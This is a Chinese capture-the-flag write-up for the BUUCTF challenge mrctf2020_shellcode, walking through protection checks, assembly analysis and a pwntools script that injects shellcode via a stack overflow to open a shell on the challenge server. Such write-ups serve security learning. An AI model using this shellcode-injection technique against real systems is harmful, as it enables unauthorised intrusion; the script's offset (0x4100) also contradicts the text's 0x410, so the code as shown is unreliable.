buuctf中的mrctf2020_shellcode

首先checksec检查保护机制:

-64位程序

-got表不可写,地址不固定

接下来使用IDA反汇编分析:

这里我这里反汇编不了,所以只能看汇编代码了,首先看到buf的长度为0x410,下面调用了puts函数和read函数,read函数则是读入了0x400个字节的数据到buf中,由于上面没有开启NX保护,所以考虑shellcode注入,虽然read只读入了400个数据,但是依旧可以触发栈溢出

下面可以看到retn前并没有pop rbp,也就是说这里并没有rbp,所以偏移就是buf的长度即0x410

这里先在gdb中运行程序后输入i r查看寄存器信息:

那到rsp也就是栈基地址,下面的shellcode就是注入在这里

基本信息拿完就可以写攻击脚本了:

python 复制代码
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27977)              # 与在线环境交互。

shellcode = asm(shellcraft.sh())
offset = 0x4100
buf_addr = 0x7fffffffdaf8

payload = shellcode.ljust(offset,b'a') + p64(buf_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

拿到shell后手动输入cat flag拿到flag

相关推荐
一粒黑子6 分钟前
【实测】GitNexus实测:拖入GitHub链接秒出代码知识图谱,今天涨了857星
人工智能·gpt·安全·ai·大模型·ai编程
王大傻092841 分钟前
WASC 团队报告的安全威胁分类
网络·安全·web安全
Championship.23.241 小时前
Linux Top 命令族深度解析与实战指南
java·linux·服务器·top·linux调试
南城猿1 小时前
保姆级 Ubuntu 部署 禅道
linux·运维·ubuntu
zhangrelay1 小时前
三分钟云课实践速通--模拟电子技术-模电--SimulIDE
linux·笔记·学习·ubuntu·lubuntu
木木_王1 小时前
嵌入式Linux学习 | 数据结构 (Day05) 栈与队列详解(原理 + C 语言实现 + 实战实验 + 易错点剖析)
linux·c语言·开发语言·数据结构·笔记·学习
xixixi777772 小时前
英伟达Agent专用全模态模型出击,仿冒AI智能体泛滥成灾,《AI伦理安全指引》即将落地——AI治理迎来“技术-风险-规范”三重奏
人工智能·5g·安全·ai·大模型·英伟达·智能体
Joseph Cooper2 小时前
Linux Power Management 子系统:从 suspend/resume 到 Runtime PM、PM QoS
linux·驱动开发·linux kernel·嵌入式linux·电源管理
wj3055853782 小时前
CC-Switch 在 WSL Ubuntu 中安装记录
linux·运维·ubuntu
其实防守也摸鱼2 小时前
面试常问问题总结--护网蓝队方向
网络·笔记·安全·面试·职场和发展·护网·初级蓝队